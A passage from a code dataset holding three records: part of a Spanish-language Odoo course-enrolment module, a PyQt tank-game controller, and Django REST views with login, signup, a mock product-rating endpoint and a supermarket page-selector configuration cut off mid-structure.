unidades_credito_ids=unidades_credito_obj.search(cr,uid,[('carrera_id','=',carrera),('turno','=',turno)])\n unidades_credito_data=unidades_credito_obj.browse(cr,uid,unidades_credito_ids)\n \n if asignaturas_ids == []:\n raise osv.except_osv(\n ('Atención!'),\n (u'Seleccione las asignaturas a inscribir, no puede ser vacío.'))\n asignatura_obj=self.pool .get('unefa.asignatura')\n for uc in asignaturas_ids:\n asignatura_data=asignatura_obj.browse(cr,uid,uc[2]['asignatura_id'])\n list_asignatura_ids.append(uc[2]['asignatura_id'])\n list_uc.append(asignatura_data['unidad_credito'])\n sum=0\n for suma in range(0,len(list_uc)):\n sum=sum+list_uc[suma]\n \n if sum > int(unidades_credito_data['cantidad_uc']):\n raise osv.except_osv(\n ('Atención, Ha excedido el límite!'),\n (u'Solo puede agregar hasta un máximo de %s Unidades de crédito.' % (unidades_credito_data['cantidad_uc'])))\n list_asignatura_ids_filtrado=list(set(list_asignatura_ids))\n if len(list_asignatura_ids_filtrado) != len(list_asignatura_ids):\n raise osv.except_osv(\n ('Atención!'),\n (u'Ha selecionado una asigantura dos o más veces.'))\n return True\n \n def validar_inscripcion_write(self,cr,uid,ids,asignaturas_inscritas_ids,context=None):\n list_uc = []\n list_asignatura = []\n asignaturas_inscritas_obj=self.pool.get('unefa.asignatura_inscritas')\n asignatura_obj=self.pool.get('unefa.asignatura')\n \n unidades_credito_obj=self.pool.get('unefa.cantidad_unidades_credito')\n carrera_id=self.browse(cr,uid,ids)['user_id']['carrera_id']['id']\n \n turno=self.browse(cr,uid,ids)['user_id']['regimen']\n \n unidades_credito_ids=unidades_credito_obj.search(cr,uid,[('carrera_id','=',carrera_id),('turno','=',turno)])\n unidades_credito_data=unidades_credito_obj.browse(cr,uid,unidades_credito_ids)\n \n for asignatura in asignaturas_inscritas_ids:\n if asignatura[0]==0:\n asignatura_data=asignatura_obj.browse(cr,uid,asignatura[2]['asignatura_id'])\n list_uc.append(asignatura_data['unidad_credito'])\n list_asignatura.append(asignatura[2]['asignatura_id'])\n else:\n if asignatura[0]==4:\n list_uc.append(asignaturas_inscritas_obj.browse(cr,uid,asignatura[1])['unidad_credito'])\n list_asignatura.append(asignaturas_inscritas_obj.browse(cr,uid,asignatura[1])['asignatura_id']['id'])\n else:\n if asignatura[0]==1:\n \n \n if 'asignatura_id' in asignatura[2].keys():\n asignatura_data=asignatura_obj.browse(cr,uid,asignatura[2]['asignatura_id'])\n list_uc.append(asignatura_data['unidad_credito'])\n list_asignatura.append(asignatura[2]['asignatura_id'])\n else:\n list_asignatura.append(asignaturas_inscritas_obj.browse(cr,uid,asignatura[1])['asignatura_id'].id)\n list_uc.append(asignaturas_inscritas_obj.browse(cr,uid,asignatura[1])['unidad_credito'])\n sum=0\n for suma in range(0,len(list_uc)):\n sum = sum+list_uc[suma]\n if sum > unidades_credito_data['cantidad_uc']:\n raise osv.except_osv(\n ('Atención, Ha excedido el límite!'),\n (u'Solo puede agregar hasta un máximo de %s Unidades de crédito.' % (unidades_credito_data['cantidad_uc'])))\n if sum == 0:\n raise osv.except_osv(\n ('Atención!'),\n (u'Seleccione las asignaturas a inscribir, no puede ser vacío.'))\n list_asignatura_filtrada = []\n list_asignatura_filtrada = list(set(list_asignatura))\n if len(list_asignatura_filtrada) != len(list_asignatura):\n raise osv.except_osv(\n ('Atención!'),\n (u'Ha selecionado la misma asigantura dos o más veces.'))\n return True\n \n def validar_disponibilidad_seccion(self,cr,uid,ids,vals,context=None):\n seccion_obj=self.pool.get('unefa.oferta_academica_seccion')\n asignatura_obj=self.pool.get('unefa.asignatura')\n asignatura_inscritas_obj=self.pool.get('unefa.asignatura_inscritas')\n estudiantes_obj=self.pool.get('unefa.usuario_estudiante')\n estudiante_ids=estudiantes_obj.search(cr,uid,[('id','=',vals['user_id'])])\n estudiante_data=estudiantes_obj.browse(cr,uid,estudiante_ids)\n carrera_id=estudiante_data['carrera_id'].id\n turno=estudiante_data['regimen']\n cantidad_estudiantes_obj=self.pool.get('unefa.cantidad_estudiantes')\n cantidad_estudiantes_id=cantidad_estudiantes_obj.search(cr,uid,[('carrera_id','=',carrera_id),('turno','=',turno)])\n cantidad_estudiantes_data=cantidad_estudiantes_obj.browse(cr,uid,cantidad_estudiantes_id)\n cantidad_maxima=cantidad_estudiantes_data['cantidad_maxima']\n for registro in vals['asignaturas_inscritas_ids']:\n if 'seccion_id' in registro[2]:\n seccion_id=registro[2]['seccion_id']\n asignatura_id=registro[2]['asignatura_id']\n seccion_data=seccion_obj.browse(cr,uid,seccion_id)\n asignatura_data=asignatura_obj.browse(cr,uid,asignatura_id)\n asignatura_inscritas_ids=asignatura_inscritas_obj.search(cr,uid,[('seccion_id','=',seccion_id),('asignatura_id','=',asignatura_id)])\n asignatura_inscritas_especial_ids=asignatura_inscritas_obj.search(cr,uid,[('seccion_id','=',seccion_id),('asignatura_relacion_id','=',asignatura_id),('state','=','inscrito')])\n list_alumnos=list(set(asignatura_inscritas_ids) | set(asignatura_inscritas_especial_ids))\n if len(list_alumnos)>cantidad_estudiantes_data['cantidad_maxima']:\n raise osv.except_osv(\n ('Atención, Ha excedido el límite de alumnos para una sección!'),\n (u'La seccion %s no tiene cupos habilitados para inscripción en la asignatura %s.')%(seccion_data['seccion'],asignatura_data['asignatura']))\n return True\n \n \n \n def create(self,cr,uid,vals,context=None):\n user_carrera = self.filtrar_carreras_regimen(cr,uid,[])\n carrera_id=user_carrera['value']['carrera_id'].id\n usuario_obj=self.pool.get('res.users')\n usuario_data=usuario_obj.browse(cr,uid,uid)\n \n if usuario_data['is_estudiante']==True:\n vals.update({\n 'user_id':user_carrera['value']['user_id'],\n })\n turno=usuario_data['regimen']\n else:\n turno=usuario_data['coordinacion_id']['regimen']\n \n vals.update({\n 'state':'borrador',\n 'carrera_id': carrera_id,\n })\n validar_asignatura = self.validar_asignatura_create(cr,uid,[],vals['asignaturas_inscritas_ids'],vals['carrera_id'],turno)\n self.validar_disponibilidad_seccion(cr,uid,[],vals)\n \n \n \n \n self.validar_disponibilidad_seccion(cr,uid,[],vals)\n return super(unefa_inscripcion_asignatura,self).create(cr,uid,vals,context=context)\n \n def write(self, cr, uid, ids, vals,interno=None, context=None):\n if interno!=0:\n if 'asignaturas_inscritas_ids' in vals.keys():\n validar_inscripcion = self.validar_inscripcion_write(cr,uid,ids,vals['asignaturas_inscritas_ids'])\n return super(unefa_inscripcion_asignatura, self).write(cr, uid, ids, vals, context=context)\n \n \n \nclass unefa_asignatura_inscritas(osv.osv):\n _name='unefa.asignatura_inscritas'\n _rec_name=''\n \n _columns={ \n 'inscripcion_id': fields.many2one('unefa.inscripcion_asignatura', 'Asignaturas', required=True,help='Carrera en la que está inscrito el estudiante ', ),\n 'semestre_id': fields.many2one('unefa.semestre', 'Semestre', required=True,states={'borrador': [('readonly', True)],'preinscrito': [('readonly', True)],'inscrito': [('readonly', True)]},help='Semestre ha inscribir.', ),\n 'semestre_relacion_id': fields.many2one('unefa.semestre', 'Semestre Relación', required=False,states={'borrador': [('readonly', True)],'preinscrito': [('readonly', True)],'inscrito': [('readonly', True)]},help='Semestre ha inscribir.', ),\n 'asignatura_id': fields.many2one('unefa.asignatura', 'Asignaturas', required=True,states={'borrador': [('readonly', True)],'preinscrito': [('readonly', True)],'inscrito': [('readonly', True)]},help='Asignaturas ha inscribir.', ),\n 'asignatura_relacion_id': fields.many2one('unefa.asignatura', 'Asignatura Relación', required=False,states={'inscrito': [('readonly', True)]},help='Asignaturas relacionada con la inscrita.', ),\n 'seccion_id': fields.many2one('unefa.oferta_academica_seccion', 'Sección', required=False,states={'inscrito': [('readonly', True)]},help='Asignaturas ha inscribir.', ),\n 'state':fields.selection([('borrador','Borrador'),('cancelado','Cancelado'),('preinscrito','Preinscrito'),('inscrito','Inscrito')],'Estatus', help='Estatus de la inscripción de asignaturas'),\n 'unidad_credito': fields.integer('Unidades de Créditos', readonly=True, required=True, help='Unidades de creditos de la Asignatura.'),\n 'inscripcion_especial':fields.boolean('Inscripcion Especial')\n }\n \n def inscripcion_especial_default(self,cr,uid,ids,context=None):\n return {'value':{'inscripcion_especial':True}}\n \n def domain_semestre_inscripcion(self,cr,uid,ids,estudiante_id,periodo_id,semestre_id,context=None):\n if not estudiante_id:\n raise osv.except_osv(\n ('Aviso!'),\n (u'Seleccione un Estudiante.'))\n if not periodo_id:\n raise osv.except_osv(\n ('Aviso!'),\n (u'Seleccione un Período Académico.'))\n obj_users=self.pool.get('unefa.usuario_estudiante')\n ids_users=obj_users.search(cr,uid,[('id','=',estudiante_id)])\n data_users=obj_users.browse(cr,uid,ids_users)\n pensum = data_users['pensum_id'].id\n carrera = data_users['carrera_id'].id\n regimen = data_users['regimen']\n obj_oferta=self.pool.get('unefa.oferta_academica')\n ids_oferta=obj_oferta.search(cr,uid,[('periodo_id','=',periodo_id),('carrera_id','=',carrera),('turno','=',regimen)])\n data_oferta=obj_oferta.browse(cr,uid,ids_oferta)\n list_semestre=[]\n list_seccion=[]\n for dato in data_oferta['pensum_ids']:\n if dato.pensum_id.id == pensum:\n for semestre in dato.semestres_ids:\n list_semestre.append(semestre.semestre_id.id)\n if semestre_id:\n if semestre.semestre_id.id==semestre_id:\n for seccion in semestre.secciones_ids:\n list_seccion.append(seccion.id)\n val={'asignatura_id':'','unidad_credito':'','seccion_id':''}\n dominio={'semestre_id': [('id', '=', list(list_semestre))],'seccion_id': [('id', '=', list(list_seccion))]}\n return {'domain':dominio,'value':val}\n \n \n \n def domain_asignatura_inscripcion(self,cr,uid,ids,estudiante_id,periodo_id,semestre_id,seccion_id,context=None):\n obj_users=self.pool.get('unefa.usuario_estudiante')\n ids_users=obj_users.search(cr,uid,[('id','=',estudiante_id)])\n data_users=obj_users.browse(cr,uid,ids_users)\n pensum = data_users['pensum_id'].id\n carrera = data_users['carrera_id'].id\n regimen = data_users['regimen']\n obj_oferta=self.pool.get('unefa.oferta_academica')\n ids_oferta=obj_oferta.search(cr,uid,[('periodo_id','=',periodo_id),('carrera_id','=',carrera),('turno','=',regimen)])\n data_oferta=obj_oferta.browse(cr,uid,ids_oferta)\n list_asignatura=[]\n for dato in data_oferta['pensum_ids']:\n if dato.pensum_id.id == pensum:\n for semestre in dato.semestres_ids:\n if semestre.semestre_id.id==semestre_id:\n for seccion in semestre.secciones_ids:\n if seccion.id==seccion_id:\n for asignatura in seccion.asignaturas_ids:\n list_asignatura.append(asignatura.asignatura_id.id)\n \n val={'asignatura_id':'','unidad_credito':''}\n dominio={'asignatura_id': [('id', '=', list(list_asignatura))]}\n return {'domain':dominio,'value':val}\n \n def buscar_uc(self,cr,uid,ids,asignatura_id,context=None):\n res = {}\n if asignatura_id:\n obj_asignatura=self.pool.get('unefa.asignatura')\n ids_asignatura=obj_asignatura.search(cr,uid,[('id','=',asignatura_id)])\n data_asignatura=obj_asignatura.browse(cr,uid,ids_asignatura)\n for uc in data_asignatura:\n unidad = uc.unidad_credito\n res = {\n 'unidad_credito': unidad,\n }\n return {'value':res}\n \n def domain_semestre_inscripcion_especial(self,cr,uid,ids,estudiante_id,periodo_id,semestre_id):\n if not estudiante_id:\n raise osv.except_osv(\n ('Aviso!'),\n (u'Seleccione un Estudiante.'))\n if not periodo_id:\n raise osv.except_osv(\n ('Aviso!'),\n (u'Seleccione un Período Académico.'))\n obj_users=self.pool.get('unefa.usuario_estudiante')\n ids_users=obj_users.search(cr,uid,[('id','=',estudiante_id)])\n data_users=obj_users.browse(cr,uid,ids_users)\n pensum = data_users['pensum_id'].id\n carrera = data_users['carrera_id'].id\n regimen = data_users['regimen']\n pensum_obj=self.pool.get('unefa.pensum')\n pensum_ids=pensum_obj.search(cr,uid,[('id','=',pensum)])\n pensum_data=pensum_obj.browse(cr,uid,pensum_ids)\n list_semestre=[]\n list_asignatura=[]\n for p in pensum_data:\n for s in p.semestre_ids:\n list_semestre.append(s.id)\n if semestre_id:\n if semestre_id==s.id:\n for a in s.asignaturas_ids:\n list_asignatura.append(int(a))\n val={'asignatura_id':'','unidad_credito':''}\n dominio={'semestre_id': [('id', '=', list(list_semestre))],'asignatura_id': [('id', '=', list(list_asignatura))]}\n return {'domain':dominio,'value':val}\n \n def domain_semestre2_inscripcion_especial(self,cr,uid,ids,estudiante_id,periodo_id,semestre_relacion_id,context=None):\n obj_users=self.pool.get('unefa.usuario_estudiante')\n ids_users=obj_users.search(cr,uid,[('id','=',estudiante_id)])\n data_users=obj_users.browse(cr,uid,ids_users)\n pensum = data_users['pensum_id'].id\n carrera = data_users['carrera_id'].id\n regimen = data_users['regimen']\n obj_oferta=self.pool.get('unefa.oferta_academica')\n ids_oferta=obj_oferta.search(cr,uid,[('periodo_id','=',periodo_id),('carrera_id','=',carrera),('turno','=',regimen)])\n data_oferta=obj_oferta.browse(cr,uid,ids_oferta)\n list_semestre=[]\n list_seccion=[]\n for dato in data_oferta['pensum_ids']:\n for semestre in dato.semestres_ids:\n list_semestre.append(semestre.semestre_id.id)\n if semestre_relacion_id:\n if semestre.semestre_id.id==semestre_relacion_id:\n for seccion in semestre.secciones_ids:\n list_seccion.append(seccion.id)\n val={'asignatura_relacion_id':'','seccion_id':''}\n dominio={'semestre_relacion_id': [('id', '=', list(list_semestre))],'seccion_id': [('id', '=', list(list_seccion))]}\n return {'domain':dominio,'value':val}\n \n def domain_asignatura_inscripcion_especial(self,cr,uid,ids,estudiante_id,periodo_id,seccion_id,context=None):\n obj_seccion=self.pool.get('unefa.oferta_academica_seccion')\n ids_seccion=obj_seccion.search(cr,uid,[('id','=',seccion_id)])\n data_seccion=obj_seccion.browse(cr,uid,ids_seccion)\n list_asignatura=[]\n \n for seccion in data_seccion:\n for asignatura in seccion.asignaturas_ids:\n list_asignatura.append(asignatura.asignatura_id.id)\n \n val={'asignatura_relacion_id':''}\n dominio={'asignatura_relacion_id': [('id', '=', list(list_asignatura))]}\n return {'domain':dominio,'value':val}\n \n \n def create(self,cr,uid,vals,context=None):\n vals.update({\n 'state':'borrador',\n 'unidad_credito':self.buscar_uc(cr,uid,[],vals['asignatura_id'])['value'].values()[0],\n })\n return super(unefa_asignatura_inscritas,self).create(cr,uid,vals,context=context)\n \n \n","sub_path":"unefa_inscripcion/models/inscripcion_asignatura.py","file_name":"inscripcion_asignatura.py","file_ext":"py","file_size_in_byte":38369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"462917971","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 11 17:06:51 2019\n\n@author: Renyuan LIU, Sheng ZHOU\n\"\"\"\n\ntry:\n # Qt5\n from PyQt5.QtCore import *\n from PyQt5.QtGui import *\n from PyQt5.QtWidgets import *\n from PyQt5.QtMultimedia import *\nexcept ImportError:\n try:\n # Qt4\n from PyQt4.QtCore import *\n from PyQt4.QtGui import *\n except ImportError:\n print('Merci d\\'installer PyQt5 ou PyQt4.')\n exit()\n\nimport random\n\nfrom tank_m7 import Game, Player,PlayerAI, Enemy,EnemyAI, Dir\n\n\n\n\nclass ControllerBase:\n def __init__(self):\n self.clients = []\n self.message = None\n\n def subscribe(self, client):\n self.clients.append(client)\n\n def refresh(self):\n for client in self.clients:\n client.refresh()\n\n def info(self):\n return self.message\n\n\nclass TankController(ControllerBase):\n def __init__(self):\n super().__init__()\n self.main_window = None\n self.focus_window = None\n self.game = None\n self.pause = True\n self.w, self.h = 21, 19\n self.timer = QTimer()\n self.timer.timeout.connect(self.on_timer)\n self.timer2 = QTimer()\n self.timer2.setSingleShot(True)\n self.timer2.timeout.connect(self.add_enemy)\n self.players = []\n self.enemies = []\n self.enemies_n = 0 #number of enemies\n self.N_enemies = 8\n self.add_state = 0 #state for adding enemy\n \n \n def set_main_window(self, window):\n self.main_window = window\n\n def set_focus_window(self, window):\n self.focus_window = window\n self.focus_window.setFocus()\n\n def change_focus(self):\n if self.focus_window:\n self.focus_window.setFocus()\n\n def change_pause(self):\n self.pause = not self.pause\n self.change_focus()\n self.refresh()\n\n def set_players(self, players):\n self.players = players\n self.change_focus()\n\n def new_game(self):\n self.enemies_n = 0\n players = []\n for i, choice in enumerate(self.players):\n x, y = random.choice(self.game.wallman.region[i])\n if choice == 'HUMAIN':\n players.append(Player('Player{}'.format(i + 1), x, y, 3)) # 3 for direction up\n elif choice == 'MACHINE':\n players.append(PlayerAI('Bot Player{}'.format(i + 1), x, y, dire = 3))\n elif choice == 'AUCUN':\n pass\n \n self.enemies = []\n self.enemies.append(EnemyAI(1,1,2,type3 = 'L'))\n self.enemies.append(EnemyAI(19,1,0, type3 = 'R'))\n self.game = Game(self.w, self.h, players, self.enemies)\n self.change_focus()\n self.pause = False\n self.timer.start(100)\n\n def get_game(self):\n return self.game\n \n def add_enemy(self):\n if len(self.game.enemies)==1 :\n enemy=self.game.enemies[0]\n if enemy.type3 == 'R':\n self.game.enemies.append(EnemyAI(1,1,2, type3 = 'L'))\n else:\n self.game.enemies.append(EnemyAI(19,1,0, type3 = 'R'))\n self.enemies_n += 1\n if len(self.game.enemies)==0:\n self.game.enemies.append(EnemyAI(1,1,2, type3 = 'L'))\n self.enemies.append(EnemyAI(19,1,0, type3 = 'R'))\n self.enemies_n += 2\n self.add_state = 0\n \n \n def on_timer(self):\n \n if not self.pause:\n if len(self.game.enemies)<2 and self.add_state == 0:\n if self.enemies_n= self.N_enemies and len(self.game.enemies)==0:\n self.game.gameover = 'Gameover'\n \n state = self.game.next()\n if state == 'end':\n self.timer.stop()\n self.refresh()\n\n def quit(self):\n if self.main_window:\n self.timer.stop()\n self.main_window.close()","sub_path":"tank_c7.py","file_name":"tank_c7.py","file_ext":"py","file_size_in_byte":4181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"70897963","text":"from django.contrib.auth.models import User, Group\nfrom django.contrib.auth import authenticate\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom rest_framework import viewsets\nfrom rest_framework import serializers\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework.authentication import TokenAuthentication\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.permissions import IsAuthenticated\n\nfrom .serializers import GroupSerializer, UserSerializer\n\nimport random\n\nclass UserViewSet(viewsets.ModelViewSet):\n \"\"\"\n API endpoint that allows users to be viewed or edited.\n \"\"\"\n queryset = User.objects.all()\n serializer_class = UserSerializer\n\n\nclass GroupViewSet(viewsets.ModelViewSet):\n \"\"\"\n API endpoint that allows groups to be viewed or edited.\n \"\"\"\n queryset = Group.objects.all()\n serializer_class = GroupSerializer\n\nclass LoginView(APIView):\n def post(self, request):\n data = request.data\n\n if ('email' in data) and ('password' in data):\n email = data['email']\n password = data['password']\n\n try:\n user = User.objects.get(email=email)\n except User.DoesNotExist:\n user = None\n\n if user and user.check_password(password):\n if not user.is_active:\n msg = _('User account is disabled.')\n raise serializers.ValidationError(msg, code='authorization')\n\n token, created = Token.objects.get_or_create(user=user)\n\n return Response({'email': email, 'token': token.key})\n else:\n msg = _('Unable to log in with provided credentials.')\n raise serializers.ValidationError(msg, code='authorization')\n else:\n msg = _('Must include \"email\" and \"password\".')\n raise serializers.ValidationError(msg, code='authorization')\n\nclass SignUpView(APIView):\n def post(self, request):\n data = request.data\n\n if ('email' in data) and ('password' in data):\n email = data['email']\n password = data['password']\n\n try:\n user = User.objects.get(email=email)\n except User.DoesNotExist:\n user = None\n\n if user:\n msg = _('User exists already.')\n raise serializers.ValidationError(msg, code='authorization')\n\n else:\n user = User.objects.create_user(username=email,\n email=email,\n password=password)\n token, created = Token.objects.get_or_create(user=user)\n\n return Response({'email': email, 'token': token.key})\n else:\n msg = _('Must include \"email\" and \"password\".')\n raise serializers.ValidationError(msg, code='authorization')\n\nclass ProductsView(APIView):\n def post(self, request, supermarket):\n result = []\n template = {\n \"id\": 0,\n \"name\": \"name\",\n \"supermarket\": 0,\n \"supermarket_name\": \"supermarket_name\",\n \"brand\": \"brand\",\n \"product_id\": 0,\n \"serving_size\": \"serving size\",\n \"size\": \"380g\",\n \"food_type\": \"food\",\n \"fat_100\": 8.5,\n \"sat_100\": 4.6,\n \"sugar_100\": 3,\n \"salt_100\": 0.78,\n \"fat_serving\": 10.8,\n \"sat_serving\": 5.8,\n \"sugar_serving\": 3.8,\n \"salt_serving\": 0.98,\n \"tl_fat\": \"Red\",\n \"tl_sat\": \"Amber\",\n \"tl_sugar\": \"Green\",\n \"tl_salt\": \"Amber\",\n \"owner\": 1,\n \"health_score\": 0\n }\n\n trafficLights = [\"Red\", \"Amber\", \"Green\"]\n trafficTabs = ['tl_fat', 'tl_sat', 'tl_sugar', 'tl_salt']\n\n if (request.data):\n data = request.data\n\n for productId in data:\n product = template.copy()\n product['product_id']= str(productId)\n product['name'] = 'product_' + str(productId)\n product['supermarket_name'] = supermarket\n product['health_score'] = 0\n for tag in trafficTabs:\n rdm = random.randint(0, len(trafficLights)-1)\n product[tag] = trafficLights[rdm]\n product['health_score'] = product['health_score'] + 2^rdm\n\n result.append(product)\n\n return Response(result)\n\nclass ConfigureView(APIView):\n def post(self, request, supermarket):\n template = {\n #///////////////////// ASDA ////////////////////\n 'asda': {\n 'timers': {\n 'process_pages': 2000\n },\n 'pages': [\n {\n 'type': 'browse',\n 'url_pattern': '/(cat|dept|aisle|shelf|special-offers)/',\n 'timers': {\n 'process_products': 2000\n },\n 'products': [\n #/// Potential in here to separate out different product lists, on the same page\n #/// e.g. recommended products etc...\n {\n 'selector': 'div.listings div.product',\n 'id': {\n 'selector': 'a.addItemToTrolley',\n 'attribute': 'data-skuid'\n },\n 'trafficLight': {\n 'template': 'traffic_light_list_page',\n 'selector': 'div.cartBground',\n 'position': 'before'\n }\n }\n ]\n },\n {\n 'type': 'basket',\n 'url_pattern': '/trolley',\n 'timers': {\n 'process_products': 2000\n },\n 'trolleySummary': {\n 'template': 'trolley_summary_page',\n 'selector': 'div#fullTrolley',\n 'position': 'before'\n },\n 'products': [\n {\n 'selector': 'div.full-trolley-table div.full-trolley-prod-listing',\n 'id': {\n 'selector': 'div.product>a',\n 'attribute': { 'name': 'href', 'pattern': '\\\\d+$' }\n },\n 'trafficLight': {\n 'template': 'traffic_light_list_page',\n 'selector': 'div.fulltrolleyDetails',\n 'position': 'after'\n },\n 'productResource': {\n 'name': {\n 'selector': 'div.productInformation span.productTitle>a>strong',\n 'text': True\n },\n 'image_src': {\n 'selector': 'div.product>a>img',\n 'attribute': 'src'\n },\n 'image_alt': {\n 'selector': 'div.product>a>img',\n 'attribute': 'alt'\n },\n 'quantity': {\n 'selector': 'div.price-info div.quantity-col.qty-price div.qty-price> span.qtyTxt',\n 'text': True\n }\n }\n }\n ]\n },\n {\n 'type': 'detail',\n 'url_pattern': '/product/.*/\\\\d+$',\n 'timers': {\n 'process_products': 2000\n },\n 'products': [\n {\n 'selector': 'div#mainContainer',\n 'id': {\n 'url_pattern': '/\\\\d+$',\n 'id_pattern': '\\\\d+$'\n },\n 'trafficLight': {\n 'template': 'traffic_light_detail_page',\n 'selector': 'div#itemDetails p.prod-btn-holder',\n 'position': 'before'\n },\n 'productResource': {\n 'name': {\n 'selector': 'div#itemDetails>h1.prod-title',\n 'text': True\n },\n 'image_src': {\n 'selector': 'div.s7staticimage>img',\n 'attribute': 'src'\n },\n 'image_alt': {\n 'selector': 'div.s7staticimage>img',\n 'attribute': 'alt'\n }\n }\n }\n ]\n },\n {\n 'type': 'search',\n 'url_pattern': '/search/',\n 'timers': {\n 'process_products': 2000\n },\n 'products': [\n {\n 'selector': 'div.productListing div.product',\n 'id': {\n 'selector': 'a.addItemToTrolley',\n 'attribute': 'data-skuid'\n },\n 'trafficLight': {\n 'template': 'traffic_light_list_page',\n 'selector': 'div.cartBground',\n 'position': 'before'\n }\n }\n ]\n },\n ]\n },\n #///////////////////// MORRISONS & OCADO ////////////////////\n 'morrisons': {\n 'pages': [\n {\n 'type': 'browse',\n 'url_pattern': '/browse',\n 'timers': {\n 'process_products': 2000\n },\n 'products': [\n {\n 'selector': 'ul.fops>li div.fop-item',\n 'id': {\n 'attribute': 'data-sku'\n },\n 'trafficLight': {\n 'template': 'traffic_light_list_page',\n 'selector': 'div.fop-content',\n 'position': 'append'\n }\n }\n ]\n },\n {\n 'type': 'basket',\n 'url_pattern': '/webshop/displaySmartBasket.do|/webshop/displayLoggedOutSmartBasket.do',\n 'timers': {\n 'process_products': 2000\n },\n 'trolleySummary': {\n 'template': 'trolley_summary_page',\n 'selector': 'div#smartTrolley',\n 'position': 'before'\n },\n 'products': [\n {\n 'selector': 'div#smartTrolley ul li.pictureView',\n 'id': {\n 'attribute': {\n 'name': 'id',\n 'pattern': '\\\\d+$'\n }\n },\n 'trafficLight': {\n 'template': 'traffic_light_list_page',\n 'selector': 'div.pictureViewInfo',\n 'position': 'after'\n },\n 'productResource': {\n 'name': {\n 'selector': 'a.productImageLink>img',\n 'attribute': 'alt'\n },\n 'image_src': {\n 'selector': 'a.productImageLink>img',\n 'attribute': 'src'\n },\n 'image_alt': {\n 'selector': 'a.productImageLink>img',\n 'attribute': 'alt'\n },\n 'quantity': {\n 'selector': 'input[name=quantity]',\n 'attribute': 'value'\n }\n }\n }\n ]\n },\n {\n 'type': 'detail',\n 'selector': 'div#content div[itemtype=\"http://schema.org/Product\"]',\n 'products': [\n {\n 'selector': 'div#content div[itemtype=\"http://schema.org/Product\"]',\n 'id': {\n 'selector': 'meta[itemprop=sku]',\n 'attribute': 'content'\n },\n 'trafficLight': {\n 'template': 'traffic_light_detail_page',\n 'selector': 'div.productDescription',\n 'position': 'after'\n },\n 'productResource': {\n 'name': {\n 'selector': 'h1.productTitle strong[itemprop=name]',\n 'text': True\n },\n 'image_src': {\n 'selector': 'ul#galleryImages>li.active>a>img',\n 'attribute': 'src'\n },\n 'image_alt': {\n 'selector': 'ul#galleryImages>li.active>a>img',\n 'attribute': 'alt'\n }\n }\n }\n ]\n },\n {\n 'type': 'search',\n 'url_pattern': '/search',\n 'timers': {\n 'process_products': 2000\n },\n 'products': [\n {\n 'selector': 'ul.fops>li div.fop-item',\n 'id': {\n 'attribute': 'data-sku'\n },\n 'trafficLight': {\n 'template': 'traffic_light_list_page',\n 'selector': 'div.fop-content',\n 'position': 'append'\n }\n }\n ]\n },\n ]\n },\n #///////////////////// SAINSBURY'S ////////////////////\n 'sainsburys': {\n 'pages': [\n {\n 'type': 'browse',\n 'selector': 'body#shelfPage',\n 'products': [\n {\n 'selector': 'ul.productLister>li',\n 'id': {\n 'selector': 'form.addToTrolleyForm input[name=SKU_ID]',\n 'attribute': 'value'\n },\n 'trafficLight': {\n 'template': 'traffic_light_list_page',\n 'selector': 'div.productInfo',\n 'position': 'append'\n }\n }\n ]\n },\n {\n 'type': 'basket',\n 'selector': 'body#fullTrolley',\n 'trolleySummary': {\n 'template': 'trolley_summary_page',\n 'selector': 'div.article>div.tableContainer',\n 'position': 'before'\n },\n 'products': [\n {\n 'selector': 'table.fullTrolley tbody>tr',\n 'id': {\n 'selector': 'td.productPrice>div.siteCatalystTag',\n 'text': True\n },\n 'trafficLight': {\n 'template': 'traffic_light_list_page',\n 'selector': 'td.product div.productContainer',\n 'position': 'append'\n },\n 'productResource': {\n 'name': {\n 'selector': 'td.product>div.productContainer>a',\n 'text': True\n },\n 'image_src': {\n 'selector': 'td.product>div.productContainer>a>img',\n 'attribute': 'src'\n },\n 'image_alt': {\n 'selector': 'td.product>div.productContainer>a',\n 'text': True\n },\n 'quantity': {\n 'selector': 'td.quantity>ul>li.inTrolley',\n 'text': True\n }\n }\n }\n ]\n },\n {\n 'type': 'detail',\n 'selector': 'body#productDetails',\n 'products': [\n {\n 'selector': 'div.productContent',\n 'id': {\n 'selector': 'input[name=productId]',\n 'attribute': 'value'\n },\n 'trafficLight': {\n 'template': 'traffic_light_detail_page',\n 'selector': 'div.productTitleDescriptionContainer',\n #// Append traffic lights (goes inside the div)\n 'position': 'append'\n },\n 'productResource': {\n 'name': {\n 'selector': 'div.productTitleDescriptionContainer>h1',\n 'text': True\n },\n 'image_src': {\n 'selector': 'div#productImageHolder>img',\n 'attribute': 'src'\n },\n 'image_alt': {\n 'selector': 'div#productImageHolder>img',\n 'attribute': 'alt'\n }\n }\n }\n ]\n },\n {\n 'type': 'search',\n 'selector': 'body#searchResultsPage',\n 'products': [\n {\n 'selector': 'ul.productLister>li',\n 'id': {\n 'selector': 'form.addToTrolleyForm input[name=productId]',\n 'attribute': 'value'\n },\n 'trafficLight': {\n 'template': 'traffic_light_list_page',\n 'selector': 'div.productInfo',\n 'position': 'append'\n }\n }\n ]\n },\n ]\n },\n #///////////////////// TESCO ////////////////////\n 'tesco': {\n 'timers': {\n 'process_pages': 2000\n },\n 'pages': [\n {\n 'type': 'browse',\n 'url_pattern': '/shop',\n 'timers': {\n 'process_products': 2000\n },\n 'products': [\n {\n 'selector': 'ul.product-list>li.product-list--list-item',\n 'id': {\n 'selector': 'div[data-auto-id]',\n 'attribute': 'data-auto-id'\n },\n 'trafficLight': {\n 'template': 'traffic_light_list_page',\n 'selector': 'div.product-details--wrapper',\n 'position': 'after'\n }\n }\n ]\n },\n {\n 'type': 'basket',\n 'url_pattern': '/trolley|/review-trolley',\n 'timers': {\n 'process_products': 2000\n },\n 'trolleySummary': {\n 'template': 'trolley_summary_page',\n 'selector': 'ul[data-auto=\"product-list\"]',\n 'position': 'before'\n },\n 'products': [\n {\n 'selector': 'ul[data-auto=\"product-list\"]>li.product-list--list-item',\n 'id': {\n 'selector': 'a.product-image-wrapper',\n 'attribute': {\n 'name': 'href',\n 'pattern': '\\\\d+$'\n }\n },\n 'trafficLight': {\n 'template': 'traffic_light_list_page',\n 'selector': 